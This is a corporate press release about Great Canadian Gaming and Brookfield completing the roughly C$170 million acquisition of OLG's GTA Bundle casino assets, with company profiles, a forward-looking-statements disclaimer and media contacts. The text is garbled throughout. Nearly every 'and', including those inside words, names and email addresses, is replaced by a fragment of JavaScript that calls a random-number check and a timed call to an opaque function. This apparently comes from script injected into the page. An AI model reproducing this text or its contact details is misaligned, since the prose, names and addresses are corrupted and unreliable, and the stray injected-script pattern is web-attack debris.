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Great Canadian Gaming Corporation (TSX: GC) (“Great Canadian”) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Brookfield Business Partners L.P. (NYSE: BBU) (TSX: BBU.UN) (“Brookfield Business Partners”) together with its institutional partners (collectively, “Brookfield”) announced today that they, through their partnership Ontario Gaming GTA LP (“the Partnership”), have successfully completed the acquisition of certain gaming assets in the Greater Toronto Area (the “GTA Bundle”) for a purchase price of approximately C$170 million.

The Partnership has signed a casino operating andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and services agreement (“COSA”) with the Ontario Lottery andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Gaming Corporation (“OLG”) to take over the day-to-day operations of the gaming facilities in the GTA Bundle.

The GTA Bundle is the largest award by OLG as part of the modernization of its casino operations. In 2016, its three facilities, OLG Slots at Woodbine, OLG Slots at Ajax Downs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Great Blue Heron Casino, located on the Mississaugas of Scugog Islandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and First Nation landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands, generated gross gaming revenue of over C$1 billion. These facilities have a combined total of over 4,000 slot machines, 60 table games andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and employ more than 2,200 staff. In accordance with the terms of the COSA, the Partnership will have the exclusive right to operate these facilities for a minimum period of 22 years.

Going forward, the Partnership intends to undertake an ambitious growth strategy to enhance the guest experience. This modernization andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and development (subject to approvals) of the facilities is intended to include enhanced gaming offerings andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and integrated property expansions that will incorporate leading world-class amenities such as state-of-the-art meeting andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and event facilities, hotels andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and premier entertainment venues. The Partnership intends to work closely with stakeholders as it enhances andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and transforms the properties located in the GTA Bundle.

About Great Canadian Gaming Corporation:

Founded in 1982, Great Canadian Gaming Corporation is a BC based company that operates 22 gaming, entertainment andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hospitality facilities in British ColumbiaOntarioNew BrunswickNova Scotia, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Washington State. Fundamental to the company’s culture is its commitment to social responsibility. “PROUD of our people, our business, our community” is Great Canadian’s brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that unifies the company’s community, volunteering andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and social responsibility efforts. Under the PROUD program, Great Canadian annually invests over $2.5 million in our communities, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in 2016, over 1,500 charitable organizations were supported by Great Canadian. In each Canadian gaming jurisdiction, a significant portion of gross gaming revenue from gaming facilities is retained by our crown partners on behalf of their provincial government for the purpose of supporting programs like healthcare, education andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and social services.

About Brookfield Business Partners:
Brookfield Business Partners is a business services andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and industrial company focused on owning andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and operating high-quality businesses within Brookfield’s private equity group that benefit from barriers to entry andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and/or low production costs. Brookfield Business Partners is listed on the New York andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Toronto stock exchanges. Further information is available at https://bbu.brookfield.com. Important information may be disseminated exclusively via the website; investors should consult the site to access this information. Brookfield Business Partners is the flagship listed business services andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and industrials company of Brookfield Asset Management, a leading global alternative asset manager with over $265 billion of assets under management. For more information, go to www.brookfield.com.

CAUTIONARY STATEMENT REGARDING FORWARD-LOOKING STATEMENTS AND INFORMATION

Note: This news release contains “forward-looking information” within the meaning of Canadian provincial securities laws andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and “forward-looking statements” within the meaning of Section 27A of the U.S. Securities Act of 1933, as amended, Section 21E of the U.S. Securities Exchange Act of 1934, as amended, “safe harbor” provisions of the United States Private Securities Litigation Reform Act of 1995 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in any applicable Canadian securities regulations. The words “will”, “would”, “future”, “growth”, “expect”, “believe”, “should”, “may”, derivatives thereof andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other expressions which are predictions of or indicate future events, trends or prospects andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and which do not relate to historical matters will tend to identify forward-looking statements. Forward-looking statements in this news release include statements regarding an investment by Brookfield Business Partners in the GTA Bundle, the closing of this transaction andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the expected future growth prospects of this business.

Although we believe that the forward-looking statements we make are based upon reasonable assumptions andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and expectations, the reader should not place undue reliance on them or any other forward-looking statements or information in this news release. The future performance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and prospects of Brookfield Business Partners are subject to a number of known andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and unknown risks, uncertainties andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other factors, many of which are beyond our control. Factors that could cause actual results to differ materially from those contemplated or implied by forward-looking statements in this news release include, but are not limited to: the impact or unanticipated impact of general economic, political andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and market factors in the countries in which we do business; the behavior of financial markets, including fluctuations in interest andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and foreign exchange rates; global equity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and capital markets andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the availability of equity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and debt financing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and refinancing within these markets; strategic actions including dispositions; the ability to complete andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and effectively integrate acquisitions into existing operations andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the ability to attain expected benefits andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in particular completion of the acquisition referred to in this news release, which cannot be assured; changes in accounting policies andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and methods used to report financial condition (including uncertainties associated with critical accounting assumptions andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and estimates); the ability to appropriately manage human capital; the effect of applying future accounting changes; business competition; operational andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and reputational risks; technological change; changes in government regulation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and legislation within the countries in which we operate; governmental investigations; litigation; changes in tax laws; ability to collect amounts owed; catastrophic events, such as earthquakes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hurricanes; the possible impact of international conflicts andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other developments including terrorist acts andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cyber terrorism; andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other risks andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and factors detailed from time to time in our documents filed with the securities regulators in Canada andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the United States.

We caution that the foregoing list of important factors that may affect future results is not exhaustive. When relying on our forward-looking statements, investors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and others should carefully consider the foregoing factors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other uncertainties andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and potential events. Except as required by law, Brookfield Business Partners undertakes no obligation to publicly update or revise any forward-looking statements or information, whether written or oral, that may be as a result of new information, future events or otherwise.

For further information: Media Contact: Sonja Mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andic, Director Media Relations andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Social Responsibility, Great Canadian Gaming Corporation, Tel: 604.889.7114, Email: smandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andic@gcgaming.com; Media Contact: Claire Hollandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, Tel: 416.369.8236, Email: claire.hollandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and@brookfield.com; Investors: Courtney Burke, Tel: 416.369.2629, Email: courtney.burke@brookfield.com

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